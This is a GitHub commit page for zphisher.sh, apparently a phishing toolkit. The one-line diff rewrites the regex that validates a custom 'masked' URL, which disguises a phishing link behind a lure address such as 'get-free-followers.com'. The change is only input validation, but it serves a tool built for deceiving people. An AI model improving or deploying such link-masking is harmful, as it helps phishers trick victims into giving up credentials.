Skip to content

Commit

Permalink
Fixing "One" Line of code
Browse files Browse the repository at this point in the history
Co-authored-by: E343IO <[email protected]>
  • Loading branch information
htr-tech and E343IO committed Oct 19, 2022
1 parent 1c1592b commit cce90c5
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion zphisher.sh
Original file line number Diff line number Diff line change
Expand Up @@ -596,7 +596,7 @@ custom_mask() {
if [[ ${mask_op,,} == "y" ]]; then
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Enter your custom URL below ${CYAN}(${ORANGE}Example: https://get-free-followers.com${CYAN})\n"
read -e -p "${WHITE} ==> ${ORANGE}" -i "https://" mask_url # initial text requires Bash 4+
if [[ ${mask_url//:*} =~ (www|https?) ]]; then # Someone fix this. Exclude (;,:!#$%^& etc). I suck at regex
if [[ ${mask_url//:*} =~ ^([h][t][t][p][s]?)$ || ${mask_url::3} == "www" ]] && [[ ${mask_url#http*//} =~ ^[^,~!@%:\=\#\;\^\*\"\'\|\?+\<\>\(\{\)\}\\/]+$ ]]; then
mask=$mask_url
echo -e "\n${RED}[${WHITE}-${RED}]${CYAN} Using custom Masked Url :${GREEN} $mask"
else
Expand Down

0 comments on commit cce90c5

Please sign in to comment.